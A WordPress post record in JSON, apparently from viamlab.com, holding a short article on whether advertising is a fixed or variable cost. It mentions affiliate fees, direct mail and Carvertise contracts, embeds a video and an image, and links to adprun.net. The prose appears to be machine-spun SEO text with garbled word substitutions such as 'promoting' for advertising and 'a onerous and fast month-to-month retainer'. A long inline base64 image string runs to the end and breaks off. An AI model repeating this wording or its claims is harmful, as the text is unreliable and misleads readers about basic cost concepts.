{"id":3582,"date":"2024-07-12T03:47:49","date_gmt":"2024-07-11T20:47:49","guid":{"rendered":"http:\/\/viamlab.com\/?p=3582"},"modified":"2025-10-31T09:23:00","modified_gmt":"2025-10-31T02:23:00","slug":"is-promoting-a-fixed-or-variable-cost-the","status":"publish","type":"post","link":"http:\/\/viamlab.com\/vi\/is-promoting-a-fixed-or-variable-cost-the\/","title":{"rendered":"Is Promoting A Fixed Or Variable Cost? The Definitive Guide To Advertising Expenses &#038; Budgeting"},"content":{"rendered":"<p>This fee, which may be 5% to 30% of affiliate income, is a variable expense. Direct mail campaigns, the place the fee <a href=\"https:\/\/www.adprun.net\/\">https:\/\/www.adprun.net\/<\/a> per piece varies with the amount of mail despatched, also represent a variable promoting expenditure. Businesses continually incur numerous bills to function and generate revenue.<\/p>\n<div style='text-align:center'><iframe width='567' height='312' src='https:\/\/www.youtube.com\/embed\/f640XIT7ZgA' frameborder='0' alt='is advertising a fixed or variable cost' allowfullscreen><\/iframe><\/div>\n<p>Carvertise usually works with companies on long-term contracts, which is a set cost model. These agreements typically involve vehicle wraps for a set interval, ensuring a predictable advertising spend over time. Firms decide to a onerous and fast month-to-month retainer for the ad placement, allowing them to lock in a consistent promoting price.<\/p>\n<h2>Disadvantages Of Mixed Prices<\/h2>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' width=\"403px\" alt=\"is advertising a fixed or variable cost\" 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9o\/gc8t\/krI\/Ea8+2m+16bUyFUhaUJirdC3qfNCjEUMc9vHLBOc9SePGQRrWfjMv6YH007iGvUNVkXF30Vmjf2R1p4YW40CQkkH+MYKSPqNM5t7NeeroYqU510QoFUciuuOqDraBT30pSlWchaSr5CCDzx40kyrZtjf7c+k1SxnZlOn3O4tutUsupTIjuIbJ+KjKBCHQSlJyOQtOcDOnT9PmytY3MsZVag7ivy6lS0tROxUWWVNszGiUvsPuNJ6w5kD5h1Agg9JzrN6air7j7Vbd1hNp7kVuhsTLsdmVNp2dyw463HW0GJDvYKftkkLAeGCTnPOl8vn0\/x5M5xy37kchtVd3plsPNLdUQs9RCsYQ6MjguYX9VHHJO9S9cu7ZH+q2BcsOotv0+TcbdfEiMQ32pdQbejqS6Ps3AG\/uKbOPsyDgjo1MpWzXac25GIKJGC0tBBGT90\/XyQfy08PQptn077c0qS3EeZcqjpQe9Imuf3bZwFrbbAwF4J6DyAcaPFr7eWtcVYeoMZpbwmSGG4nz4eZaHyhoHJBKspJPGMccaA7t9SWqvVXO92mmJa6e20VdKv7OcOEp88uqUB\/wCHTAei2eu590WO\/KDyYqw920q4GWnuf8hpSGD9LN6Vh+HXLJqNtmlQ7bnLiK+JQtqREl5wYzuSUPZQO4h5teOggEAkZuO+Gzdm7kRIFx1WnrZr1AdC4NVhurjzIyTxgOtkEoCylfScjAI99eT1O3Lc9kbH3lc9jxemuUuAJ0EtNBaXVtuNg8eF\/Z5BSfbVK9Mvqba9Qu1tZr1VtmXTFUtp+LOV2yqO84hkuK7BPznA8t4yg4AJ8DPd7a6XKw2ocWyqLFhQWYbbEQNLjtNhCW3EEpd4AAGXAo\/rqdyrJ9+dU\/bW8rVvSlVOfac8SIzVUdQ6hTamnWXHENukONOALRkqJGQAQcjI51bs4Gck6ivpVg+dcyofnrAnq\/019CvKSo6CNV1UP5gnqpZ8hIyYX4gf9T9R\/s\/P3PuSfVweQR+Gvmcc5wfrqMQ2aGSlCSqlnKykAkw\/rj6tfh\/s\/b5OEBJ5x8vg\/TX0qx+GsAoKHWkhSSMgg5yNfMj65Gg7OpWPfX3P\/J115xlWvvVwPbQZ5\/w+2sgT0j666gr9NZJ5xoO5Kv8AnGuxKv4urXQDxjWYPuNB6Er8fn41zWCTkfd1zQUjee7KBat3UWqbnWtR5FmxpCw3cb6XFSLfnlodKsNtKKGnApQLoW32z5yNdsayplHjM3Rsvc8R2lTwZLcRtTcmmTAeepKG1BvJ\/wCsZW0v6h06Hfruurd+ydqpte2ulPpqibspZabpyQXlwvg3e+2625lD4K08t4wUdPGQTpOtkvWBbNOq7zrUxzaK5XHP7c7S4Lkm2qg77\/vCjklcVefLsU8fQaslsZtynXvp3aW8CiFu\/ARY9flvIgtVFw5iSJC\/up75SlCyefs30NOY\/DnSo+of0Ly6VHeqtLhx3IK8rbmRh1RlZ8E45aJ\/l+emNujdOxt2NvE0Hfazp8eDUQh2Dc1lPuVWmTC3yHIkqOlTrbg5JivIJI6hhfjRXplk3Jt3RIrG3ExFXttuM2lqjVDuKbDHSCA0cFxjIOekBxvn+5b03FzWlVnai\/aHflEsqnI7E2s1WJAg\/FuFtkPuupbbcDqPGCQetPIAzjR7gX\/fHpfq1DvWn74sO3bW4seouUeIw+7Hnwn3nx3Jy3UhglSWkuIzh0l0EkEdZZT1PbS2BfNEN527TpFtV+3HH6xNpD7iGmHGI8Z51x5shRQvtlKT9iT55Sk6XG6NuLavSlMu1aB8PUCy2DLYILyV9scH2cHjCTzjpA6RnW\/lrHxw7+1Pq\/2J9T9u\/wBXO8lBpdKqk0Bt2DUx1QJSiMAsur5aUecBRH0ClajL39IdS2xiOf1atza1a44NNUeuXAR9Ee7rY\/7PzgfwnGdaw7ksa89tHDIbSKhSUH5ZDRPbSPpny1+Ryg4OM6Zb0yftDL92uRHtm5S7dFuR8J+AmO9MyEj\/ALh3ngf4Tlv6dvSz8N\/Vd3cs6nN10TVx3GG6o4uW2+0vKXJGcPY\/wHwSnJ8n6EAw+gKivUzdOSz3HSl1sOhajyQGnM8\/mRpnplu+nH1t2fJqtn1pmNWFpDr62WkonRHcYSuRHJ+bHUQHQefZwjI1Q\/Tr6er92K3qNLu5oTaZLiSTTKvF5YkLAH2SuPs3OgKPScZwcal8xZ6jr1i35Q9zPURfjVXqU+kQLXjRqfQIssJYkyGmY6S+62cDvAOHoII8e+cav3pHumx7m2tadp0BceBWXZDTkRUT4c9wNlL\/AMoA5JDhykZxk+xx4NyG1Kp+\/K3Glp7jIawoYJBbifzB0NEWlWrk2Z2liUet1CmSo17QJS3Isgsvuobgv\/Zh3I7fVkZPsM6i5lEax7PonpzuasU+vX4FW0\/ELMSoV+VHQYjcdYcZa+LX0lbRZf6kJUThYWE6MFLqdMrlMjVqi1KNUKfMR3I0uK8HmXUfVKkHB0JfXRY0C7fTzcpnsjpjwIkxSulPU2th\/AWM8cBQ9xkA8jOoL0kT7Xr8Ku3Dasx0IdZhpnQ2niiO3LwoKeVFzhqQrpGXB\/eDByvzqfWr50P\/ACfw1l4zr74+94\/LXP8APGor4eANfAfHSrHOQdZY865j9c6CMcU3RUKeUSmnAlbgx\/0Qe6x\/3XuR\/D5HGQPf\/wCJX8tZEc\/LqI6HbePU2ha6QfvoAyYH4ge7P1H+z8j5MhASvn31wnOUq1zP8XkKHBBznXxXtgqH56D6OP8AiNdg8fQa6vl12JOg7EEn8NZpVnPzc6wTz91XjWQ6Qfx+mg7UHn6\/jrmuIHj8865oBP6zKpBp1jw0z3OhEu44zKcfUQ3T49\/050g+7m3lo3ZbdTr06A05PgQ33o1RjntvocQ2VIBcHJGQPlVn9NPb61bGqW4liRKTSai0xLjXCJLbLzIcTKxBKe2T5RjqzkEc4ByCRrW5fldvzaeHGZuSiOGLUGnGg1NWSzNb7haUWXcZ6PI6T1DjjW+LHIdv2Ylm3JQLquut1epS1RZduokRYaJSwworldIecaHyFwBs4JBIBP11s5io6YjDRTjDSB\/kNI76EXIc2n1Oqw44Zact5hsIx90Ce8nGfp8v+enkCgMDWOfrfDwKfUxBp0PZTcC7W4raalTrYqjzTwQMuEwnmgh0Y+0R9r4P4aQ6MhlMdqOrGWm0I+hAA\/8A5\/zJxxp5\/V3MEb0xbmHrCVOW++yPr86kJ\/3E6UHbi1I9931QLOlylxo9WnpirfaQhSmkcqVgHjPy4xyASMhWCNXj4nL1TKoYFOC5EuZDjNY+2U842hHQvA+brIGCSkYJwTgeAdCjcHYKHUZDsygx\/wBzVJB7gjHKWVH6tkct\/gRlB4x97Onx3d9V3pf9Nd3t7HPbbfvCZGRENQSmAypDbboQ6lS3XkqMlwJWHDznPGc6qe7li7W3ha8ren053FTqpbEKVitU6DlDNNLgSQ80yoBTCDnK28AAkrGMKAu1nprwol5bk7NXPFqLUuqUWqwD1x58RRaeSPrxw4g+5T5HkHxrZx6FvW7dvqRrUzb2+LQK6jRIBnG6ImGossBSUhp1rGEPK6iR08EJV8qccqfcNApFep6afclObksZ4Srhxs\/VJ8oP5fj9Bpiv2fFtQ7Fn1ml0pKxHWWA4XMFx3PVyrHGfy8Y1beiTKn\/UVuLXbIvK+bY3CseoUW27wjfCUW6Ev96nvOIbZDPfKE5jkFrGDnzk8cj2belK9t9rUpWh4sXQ2XFtqDqcfCPpSeoZB6uk4IP+\/TbVml0i4abJpFYp0aoU6Y32pEWU0HWXkY8KSeDpTr69JV3bWyXrx9Mk\/vwm5Px8mxam+sxHXQD9pCdJBadwVAAn+LHURxrEutZYMG\/dvSLu2yui1Ycwx3qvasyE24oEpaccV0pcIHJ6erPHPHGtbWwLO6OwW46rqq1pu1pqiRyhUiBOaESpwJALfAyF5BBcDnQsJWkhxtB+0Gz+6JdVO1M25q\/b7dOq8e2npsqCmV8R8O4gd1bXcASF4wc8DnSSXHfFNrFxW\/Zs1TDUiZa\/7yiNJc6kyGHKjOCh1A8nABPg\/aa1x8xL+mq263e293Uid60K8w7NbYEmVSn1BqfEbJx1us5JCM8BwZQfY6t8iTGhx3Jkx9tlhhsuOuuuBtttA8rJPAH4nWqC6riqG0m4cZm4ZNTpUhpQm2xelMX0SmGzkFD2AUOFP3XRghwAFaT1DU96h9\/d5t3raoVtvVlTFMcpj6as\/RJIRRbhKHEusulkpyw98uCyVFBX2y39BfifLG0NXyk+Rr6MqORoQemqpVuVZkumVKuyajCpT0eLS0y2Uh+PELCVJaU6OXwMgIKh1gDBJ86k\/UduXF2o2Uu67V1uJTqi3S5Eejh59DTj09xHS2hkE5W4OouYTk4bz7azi79rRU9yNvqLXI9t1S9aMzWJbojs04Sg7JccJwE9pvKwfzA1PQahDqMVmo0ubHmRZCA7HkxnkOtOo9lIcQSCPxBxrWv6DrNn7jbz0645EYqoNDamzXXJLbimZzrbaW1MBwcLcHxTbi0qPKMnnwXS2DgO2WLy2feJLNmV51ymdRGRTJ5VKZTxxhKy8kAeBgcYxpZhLoirSmghTjYzS\/vONJGTD9ypIHlr3Kf4OSOMgSST1hJQQoHkFJyCDyCD7jX1JwodPBB8j21EFCqD1vRmiqlZ6nGG05MQ5yXGwOS17lsfd8o4yNRUuOf9346+jkj649tdba0LQlxCwtCwFIUkggg+CCPI1mDj5dB2p5x8p1n9en\/LXWOcay68fe4\/HQd6FZP051zWKFJ4\/wB2uaCC3TtSRdsMw4xQVtVVZ6FHHVmOlOP8ta1vUBtHWm5jNHuuFLSw3RqqaWFOHDbsRZU3jnxhJ499bTFymZEpxbLyFpFXcQSPIIaPBHsf\/hpUPVxGZ\/fllF4hsPzp8T5kkhQfZU30cfXq99Xj0nKa9Xoho7dIolajMpIQ1Djxx9B\/b5WnIKufy0qnpFZCaHW3urhwQwPyMqUr\/XTTFXJHV7+2s8muILetQsp9L1\/LcQFH4WM0kkAlJcnR2zj9FkfkT9dKjt27cke+qA9aTjoqzdUaVFcYbQ8s4cJWcEELHaLufw6iOcaaH1vOdPphu5HVgvP0hn+dTi\/XSwbU3HUbV3Et24KQiI9IbqbDaES+roIdPZVntkEfI4cewPQMHB1rj4zy9THrK2ftHczdu6Js9wtzovw6W5TJyCDFZSkrHOQABjBGqR+z6p+41A3hq1lSYqZNEMRyJW\/iXCGJkJXy4HHzq5JSfqDkjrOiP6o6xWbX3jvOdWKG25bz7kc\/vKnSRKciBiMz3BKYQO4x56slBQUc9wYIFn9GkukTK4tdPqseSCiQ53WXOoBC3QoefwUDq70z9hDunZb23N51yynlFxulyS3HUof3kdYCmVA\/\/dqT+o\/DRj9FCOio1NSkYJXGCSBgeDxjQq3\/ALmeuzdO6aq8y0y63MXAIaJWlQjfYJWM+OoNhWPqfpq5ely6LaUKxazlbp6anVWkMw2PiUJU+4ArLaefvjn5fP4afS+U5G4V0P2dT41fVFfej0yS07U0NoypuG4e244QfYZzx9Ppk6ssWrU2bDjVCFNYkRZuPhnm19SXgf8AD\/zx76TaZ6\/vTvtZcFT2spUO7LqNJmyKfUp8koy662otOoAdA7qUkKTzgHH0Oift3d+yFwWQ\/urs2paWKbPjP1SEtxxL0Fsqw42pgk9AwrqBBUg9PyHjAzljW6MO41y0iyrNrt011mRIp1Kosye8lloOKU22jqKADwSQMDPnS0XZsP6ffWJS4e72wF3xaHetH6XW3mAUJQo\/MWJsPy2FHPzJGOSR1+dFr1FR5lY2xvC34UzoZqtkVllCsntla28JXx+Bzx9daeaJcO7mwlzQ6\/TalU6ZNYP9nqMF0hShxkdQ+R0EeUq\/UHWuM6Z5dHO3B23qv7smWVuZZiF1Itl0QHOnpeWgeWHT8hDmMBwEYyMkdONJzQS\/SpEqqbOVGROZQXP3pZdZRiaxgkOBKfDuP8Sfn+oPI08+zP7QrbXdujsWN6l6NDbUshtuvR2T8P3PYuto+0jOf943x9QBqC9SXoAcuWrI3t2Wupit0WSG58pER5tE4NoGVyYkhOWpGQgZChkHJHuDqdes0DdqfX\/U9r2lUS3tuJFwR5Aw7TZDq2no76AUtpbeQlxZbA47ZRxjCOgcaw3d3z3y9VFJh29dextPpFEpk8VOAhpqUHDI7amj3HXXmyR0OHgIAzjU\/TGmbeqiZkbK49ZDb4c6Wwp2StIz3CgAEucHIwOvPjq0YNu6DCu2W+uXUocSFCYEiS68ryg+ED8Tg\/oDqdL2oWwtW3b9ONDoV31qxqA3bMyqTGY1MjpajOPrfjpbeeTKyoNSCG20gvkodDYQCDyWhs\/dWz743RZue1otTcZuSlMUmodcTtKpdQaDjjMeYlfStpwtsv4wFD5k\/MQ4Dquy935yLLlxLH2zpm5dqwJHwlepKWz1yqd2ypxUfIwXWllvgg8Z\/wDGBa5Zu21WnW\/vN6cN1qgxDp1Zp8VVEkOJYrFHdckJbVEfW8Fgx+hSght9txGc9twDU99PPDrJGdfM9JCurCgfI8jXhZr1Hm12pW9DlNuTaWUd9r\/CF5x+eMYP0Ovb\/EerGsto1bZoxW\/DZKoBJdfjoBKmSeS40geUe62x+JRzkGRjvMyGkPR3G3WnQHG3ELCkqQRkEH3B1kngdSVf5868IjrpinJMFla4zhLj0VtGSFny40PqfJb9\/I5yFBJj9c6+p\/P8dYR3GpDLb7DqHG3R1pWk8KH1Gu1Ix8ugzR0gjyedc1klPPsBrmgpcPeba1QpjzNztJZmTX1Lk\/CvhorCVDJUUeCFJAWARwckaBvrCfiO\/wBWtbiPNSojlzxwl1hwOtOjvMHgjg\/J1eNCy5\/SbuNbV7XJF9Ot11GK\/R5vXJg1NyQwic2suEfZSUmM8PAQpPGE\/U8Umq7l3xt9Jboe\/e1FTo7jchElM2EySwp1s5S72HSW1kH3bcGPZOtZPYzt+zYejhqTH24W9V3k9\/FObedUQnqX1Oc\/Qcq8fjjTPKPKurI\/PSZ+nDePZ+VQ5Fsf0taqHddjS22w2S4w42sqK3GMB9GCrIIaKAP4sDTgRKjCqkFmpUucxMiSB3GpEd0ONuo+qVDg6zyjXEDvXS8pPppraerHcrVCb4P1qTH\/AA0iFHvS9U3QmZbVen0Z1h1xptcHpC0krUzgEjK3Fc4H1JwQBkPD68Xc+nOQynP290W+34z\/AP1yT\/prX5HqS48pUNcmRFSHHXGpUXLbrThc8jx1jgcZBx4IyQd8PGeXq7V6i3hVpdXrd7ImfEMOOd2qT6iqS68GkfM46pxRLoATgKSM8gISoYGmI9EDD0a4Ew5HbQ6gzz1A5SMqjjOf1z7fz0qtxXTHmPU9l6ZDdcp7IZpzIf7vb4ALyusAl09KcJI+XGTk400PoPkGXUuylDi3cTVFTiFBKit1nB7hGD\/n76t8J6pm\/dwR7r3SuisIp3wo+OXDLRWFYXHAYUsFGMhRaKvGfmweedTfpI9Odcdqn9ZlXuaOuisKfe\/dGWnVFwOJcjZBScAlwqJBBSWh7uHFb35rdv1vda559uw\/gonxhZ7JjhnDrSQ08ekccupcPUPOc6af0xtSUbOJS9EjutjsKHSelxvLLeTjGOc+x\/nrFuQk7IP6gPTR++Lguur2zNQ5VX6\/Vage59iVdyU44UgjjjJwffwfOqP6XN1rt21vpM1qBIkwwDT61EUCGJcN0pbcZeHsFFSRk\/dcKCPxPV3XJfdt3rX2qxTW7hpK6pPIlQSEyo6FyXcdxk8lCQQMpKvHhOrH6RKNZ9Uvyu1Ol\/CTFuUKomW4kZ+06k9KXEn7i0hKTgjzg61qZ2ZGsxKpA20q1HmVR+dFj2vURTFymVszG4a22lNNSQv\/AGrYPSeB4x7aSqtw6bIp7v76bjuQeguPCQB2ugDJJB4wACc\/npv\/AFAbkM2jVYlsTewlu7aLVITbqkOKUh0NMhOMcYJUgc+6h+ehc5u9bPpU9OdH3hTtyLruS8KxIpTSpOEsw0N9z7xwVhvDfISMqWrzgAakWk2vL0\/oKzVrGlfDPLQHUsKd6mnUHkdtzkEH6HI\/HUh6eN599dqbvesylXO7QKVKZfZnQJ0dUmC\/IWkhsOMkjthXjuNnOcYJBxpobsvHbb1B2Y\/vrtZRZFHk06RHi3TSJAbHbLoHamI7fyFJcy0sjBOUkgHOVg3jue7LQr9Jn0Si06dEn0lxLrTsZTrvE6Q30DB8n2GD7a1LrNn2IUWOHqWu0q7LYEhpoMx0NlzJaQBhYK0jP5j3\/kI\/a26ZlBqFYRdzdriDVnn4NMTIr7bchlDWWnXnmz1Lb6lkFBcxyXCBjGqjel4r26r1ItW81pdqTlCgViS0212JlGkSQXfhPr9mhLRIVk5UfGdZos+wbhu6BuJR1wanSVPIm16mqjlXUP8AaP8AYH94sYJWkZzjIz41ZMU8K9p9xKPs3aytpL0Yt67Ic9y4Wpkf7WHUO4laVMOZyHWVBSBzkHoH56E91zaXc9CuXde79lpNh7m7dyKeKtNp7i2aZVm3ZTRLzQBHWsISolLgUB1DknGC3Zm0VG9PFbgVk72PUuybwUz8BblW7KYSalKQ44GmJKyOwoqB6AkpCsFJBJGiHuRbcS5rFuiz58htuRUaVJbaQ5hKuttsuj5SRnBSMj6HOsStUp1E9T+1tj3szX6ludRHm3HVsVBMWQuU64ws\/MsBoHK0rw4PryPfTgbfX7bW5NsQ7utKuxKtS546o0qMThQ9woHlDgOQUkAj3A1o6Zofc3B\/o25L6oxnloFtWApBJKcH6HjTRUNrcT0wVJe6\/p1vP+mFnKybiosmM41Jp62wnus1aAPnj9JOES08YxyPBt4sTk2kfLj5fy1klQ\/h8HQZ2m9UVk7s7Yq3IgUasUwx1CLIp0uMr5pPP2cZ\/AakjhXzJOQB84QeCWqVUoFagR6lTXg7HktIeaUD5QsZBxrDo+vNPw31zqc2XW3TmTFT5Wfd1v8A7z6jw5+C+T64kuPKYblxnA404MoUnwR\/p7gg8gjB1xPGf9deVyK8xJVPgAFThy+xnAfP+IE8Ic\/HwrwfYgJRCuR7a5rzxZDMlCXmFFSckcjBBHkEexHuNc0HqtncvbfcR+RTbOvii1yVEKkvQ4ssGQ0fclk4cx+IGD9deitWlSq3EepdVgRp0J3IchzI6HmT9flWDjWo2EzuvWyYFH2yuO8atQJzlNqUOqUZmI\/DfaaLi\/hKhFU2514GQ2ptzKMEE+NE+x\/XDuHtzPbtqt3bX6DJjkIcoW5VPcnMNj\/C3PbCZbY8AFwYH461eGeJ8v0fb29Cu2NT3PpU2hbfGmUySW5MmbFQ0\/GivsKcUEdpxwONdzKR1N5BIAIxwWzbSy02GY8dDLKOG20JASkewA9hpcbK9ctoVintSb\/s6oUOOvj990N5Feop\/EvR\/tWh+Cmzj3OjrbF42rfFEZuGzbihVqlSCtLcyE6HGiQeU\/gR7g4I9xrPf2vX0GvqruGybf2ygTr6s+Rc9MN00aOKXHA7jshbx7R5WkDBBOSdJR6ZrGs7cHfS\/LhhXMzb9GbuJydQaNXXu8p+mNz1F+GR3FYWG0q+714HOcZOmr9dTqUbO0VClgFd8UAAE4zhT58n8vfSY+ni3o8vdSlQbns9+tUKsTn47oVK7cdKJcyQ0XMBP8J+0Kcp6gOOQDrU8ZvpgNz6VZdf3arzu27drhtbdKkpRTQ0VJaQ0kFzDSSSgnHIznV89MjS6RX6ZRGah8XJD8z4puOFJ6cgnpIWAc9eDjgjGlz9Q+xCom51XXt\/TrUZotPj09mIxOdQnsD4dpPV2u4AhZWOo5QCeFr6ySdW\/ZW4\/UJb0+zP6PU6FdVySblkQKi7UWXDHYpxbP2pU0lsgNoScKCFlWCB1HGmddG9obfT+jre7F1m0nw9STUC42sOLVl0oSXxlfOQ8Xcg\/dIx7aa\/0xsdOzcdxdNQjIaKHmXAP9i397wcHP4\/joL7o+lzcV+r1y5LNlU28Irs+Q9Kj057tzYi3HC4WlMuHkjq4GQSMfLzo5+nW3X07Umjzv3hSp2W48lGSHmVhlrIU26CAePBRx+GpfFnpablQ4bzrRLC8t1GTlROA2e857fXVg9H8bE6pyVoHfXCrCHHMcq8YJPvx9fpqK3Pclxd0rveUovpNdluJQ0nHUO745P58k6tXpTYQ05VFIVwGqwjj8vOr9J9ip6joUJ\/bCq1OU1FVJp02nriuLT9sz3ehtwtn6LGEn8MaDNWoEd700UYV9CJkCqXLUHmGnVFaUtiL2lDC+EHrbcV8v1z5zo0eoqQhezVwLbXHWhU6juDnKsFaMKH4Y0BazY7FT9NVuyqhUJjPxd4zajCfhSVIcjFEXsK4OUZ+zWfBHOTzpFvru9GGz1o2vt5uXPqFQW\/DrNHkIR8Q70MxYxbUoJ84yHEt\/OfdKcY94jZO0L2vS+6dSKPJgUVt23qhLZrSInVPZdakAFkP\/fZbJeJy2AvJ8nGr36Wo5l7K3lEvGvqVCm0OSXZYYQyWo5S6B1YyM5HJ8c+Bq3+kBlLkKFJeZbLh\/fDTh98H4RRQf5nTUhDvUp6a6vRK9OrDz9PaSiQHJtUfrCXhLcdbLiVNqyVrJDbnn58p6MZI0E0NXnto8xUZLUkRXW0OtT4qyMoPIP0WPzwfodPtRLO9M2xV8X56eb1visMu3pRY7bf76khMOO1I7vzxns9tEjrSDl0JP2YAUQTqu2ts9Saltdf22z9DvedVNuob7wq06IwuDUWy13AyyevKM9LjjRT1NlB861KzZ+ADQd9qPedqqsDcZxyo25IktSC2twrabdQCAe25ntcKV4x5zlZxpnfTNtzbe5m0KttL23LkSZ9KrD6bVrb1R65tFjutR+z8MXFZQUuNqbA8gFQGArSr7u+nqZRVxq1bNLkU1s09qqzFSHkAR2JDYcjHj763BnhI9jnHuLLau28LCdalsT1xHCMrCEkNJ5B6Fj2Pg8ePppmm2Lh6j9uajtJ6gWbarFSj1GYGI8qTOjRTHS66su9Xyk+QU8kADPsNbHL82qjX3uHQLos65JFk3jMttydFuCnMo7rshtcRKES0+JLRakqSUqyCDg617Vq6LX3bpkePcbv7qr0Z9yXTaiFd2O84clTRVnhCiTwPu8cDGtl231Xg1OobT1eJU489uTb9QguqjSEPJbfbiQXHW8j3Stkgg88anKrxmlfvT1b7WIptHt+8L2YZqNuxEQHqTb1vyW40OQjhwNt4S02cjBCT0DGEcam9h\/Xds4isGyZ8muwKc4+49Cq1RiNtRo\/cwVsuhDri0NlwqWFYwnqIOByEj9Tm3FUs7dCvVhSC9TqxWJ7jLqU4DbqH3A40fxGMj6g\/gdEr0cWV\/TO2L7YXYtv3dCpcNE2p0qpPGHJeiBz5nYE1AzFlNY6kK8LGUEHONXJjMt1tuiyY02MxOhyG32JDYdadbWFNuIPIII4IP1Gu9PIP561+7YbtM+lWLKVM3eXVNvXGltItir0t4V6jVUhtXYDPyo+6vuBTau062M9DZ50UNrf2jG2u525tP26iWFclNYq61MwKpLkxld10NlQDjDZPb6gg4w4rB86xjp8oaxcVaXjNh8PEYcbJwl8DwFfQj2V7eDka5r1NKSvC0kEKAIUPBHsdc1FI5v5Gp9m7pT7Ipu7FEizX5ce6GqPW6nJgSkrf6+kMVBzqaLZ+0AZUAEjxjyc70vKzXrIdg3ttHcFvuIbLsKPUe1XbYmLGOhtLyw78MFYI7jJa6cg6X79pLTZFT9S77xkkvt2vQ0uZOMksqUfw\/i0vtobi7t7XoXLsu86rSmwrocjMyFdpz82TltYP4g63J057lNLa+w1Kq+9VtVTZeBDgUe92UImpbuR9hNvy\/tCpDEqKvrkABsENq6zlQCgEEHW0ek0uBQqXDo9KiNRosRoNNMtIASkf\/Ekn8zpQfRFBfv+w6Zu1fVsW2m7FXL8K1OgUdmG78O23\/tO2MFw9xWVAA4405CgABrNutyFu9e8kM7T2qkqA7l90jOTxw1LVz5+mgR6aINEa3d2\/qdwW9PkMP0OS3HnpgOyGGZ5qtQLHe7bZ7bqXE5Q6XAEDoJxnRW\/aB1Sot0Hb+jNNlcSTdEaSpaG1EpdbakAYI45QVcHS77S3TQLWr9oXZFodYrFZt5tDrVMp2eiUtEuW+3nLRGehwJ6gScJQBzxrXHuJb2bqJZ1EvLfu+X6rF7gjstqbmMqdW88\/wBtlpsnBIQEoyenA+c58nOuem2nrmVyOupyOy5DpjUlpbbYbbAL7rSeDkLHbVjOeSM50H4m9iLy3IevSBt7clo1iTGgSHJkeshh6V8Wppl5DySQWw0WWghRQSBnLR6sA07ALuSNf1Ro9zUqFT5YgCHFaicMtx0SFFkgdKTgoyfA5PjWcXdpYtxtwLik7w3RfVHqD9v1o1F1hcqkyXGHfsMMj5gcrBDQJSrrHOPA02npoqt7XLY71euG+kVatz6h3XxUKe00y4C00QgdpLawQCAVAqyc\/KdJ7vTdTN4brXbcMSEuI3LqC0pZW4lZSWgGVco4wS0SPfkZ5J05fpY+IVtg0lKochsPsEtDIKf7MzjnKh\/MDTl4T1r0u71AXba+6l62xd1IpFeXTrhqcWQ5BJjTQ4JLiSU9z5JAGBgkIJAHjR09Me\/O0oqc+mouoU+ZJgzy3CqbXwcnuOJHShKXPkcJ8DpK86uG7myfpf3Duau0W6oEu2LghPhyVU2oK2oyi+QpLnUOpC89zk4Qc+TpaN1fQjuDbEF6t7e3bSrzt9psuo+IdQrtNjknk+QOfs3CePGtdWM9w9nqChra9O8+piSHGZqqG82FNBKmcFtOAR5zznxjOOdCGlUSVC9N1ErC1IUxVLxkOZCyO19gWOjB4yS0Tx9eedEW2tqbL2w9L0Ow75uKb\/ReQ3DlVOsF6S5PhzHVtqR1MkOjtpcIb6EhACBkpzk6qFy0Cydt9lIlHpW5Fu1yJc94tzqNPEpplEgtxcONZW50B1PQDjIPPgHjWY1f17\/TS1SjtJdEevOutUsW\/LTLcaJ6m2vtuo8Anj8AdT\/o8Wo0uKpShkSap1AfUtRDqG2Dgoo9n1+l3dBmIpv7gqv70jJQUulsDqOAME8EkdJ5B99e70dr6oUYK5PxlUR\/+miH\/TSkLV+0EsSm3Zv\/AEz4kPx1v0+HFdktgpc6A7Kwnn9cfXOeRp3PTRa1EZ9PtuUD92x\/gnaP8C6yEfKpghQLZ\/DClf8AtH66VD13omseoGiPQJiG1SYFMbUl5vuNACQ\/kgcEHj66cT02rU5svbbx4zGxjHjBOnL+sOPtLBuPYtvbe731C3HN4G4NQvWWahQ7frzBFNEZtxLaY7En5gwtslwgFH3AgIxzoM+oC0axJkwajUNuX2qwG48n4ARVtGqAyHGpS0jlt1fb7fQ6COpGT46MM16lbfp9R9Q1pVWTBC5TVu1CMy8oH7NDjgCse3PVjP5j66Aez9AvCBD2r2kj3C5Msu4IU2NX0VD+0OFay02lUNZPXDcCXVAKaICR5Bzqy9alkLtWdgqhDgu1Kw6gHWTIdjSYjjS+wXELP2KusdBcAKSeknGRg6gLA323O2Nutqq0SY7DkwnHWCl7DzSsfZut5XkEHHQQc\/mNbTt+7DqW2Hp6rNtbM2LAq7E+eW5NJeUhITHkgpdWypfCFtANBvPgJH00lN\/7Jz72lzKTc7Ey2qvSokmoR2Ki23HYbQ6rulgJCP7QAQVd4fe6jg4A1qXfWbxs8QLO4Nnb9QazTLgW1BqFYkOzVsK+z6ZDiy4XGcnAwtRwM+OMnnVu\/Z8WzVbM3Q3LsOtsllyTa8kIHTw62XGulwD3QQo\/l49tAWdsfdtrMupiv0iqSoCv7fSY00KXDyMtkKB621lBBx45A55Grzsx6o63tTckWfOhia9CaXCcj1FPTIEdeOprIxkfKMFP\/sjSzZ0T3aunqun07eqFYV1WM\/FqjDduilVSBPZUwVT4jnadR3Ty262fuOAlCkKHJHGlxXbVu27Hbq8PcGsWnclMe+IRAq1AlJMd1B4LcyKFIyDyFdsfnpmKY7bFatOFBptQbmwH1yFLeYB\/srrvZcbQoey0rZeI9iB+OsnLa\/f1uT11RCJqobnwsvHQVfDuJ+VWPK0YyUK9xx5SdIYYr0P3\/OumxYdLrFYqs2tIgNO9ydU35aHYwZjqS90uKPbcUXhkAj31zXi9BQpj+3rq1ToTlRtMG3ZzTUMMrYRGSltLjp8lakDJV4KC37jjmsVuF79ddCgVz1J3AE1WM1Jap9KZ7Ly+0cCG3jBPB8+2l0qFoVGnQl\/ERlkhwLRgEgj8NNZ63bQmu7wXBdCShcN8R2yFclstwWsg8ePl4\/HSyuF5imqkRpDrbhcAJQ6QDzg5Hg66Txitlfo3ozEfZy20drlFZmy0HJGDjz+P66Y9ZwAn3zoI+lpj4fa+gt84+KqBwfPBxo2KA\/XOdcq6Twmv7Qx9KZW2kd1QLS6x3FoKsJIDUjk\/l9dBf08tUx3ePbeO58X8XKhUySllbbfwD+Z87pec+frwQOkgN+Ejn6GH9oMpQuba1pPhU99RPPsw8fbn31RfR1aMy\/dx6Eum3pWIbdjUOl1afRSSliYtyTMwD85bKFdxsrBR\/CTyTrc\/qxfQjd9SO9guKo0WoWrWr6pseoOOxv3zH778LtyysdiSY6X2hwAgB0o6PIOma2y3QuTda86bc9ERdFo1+4X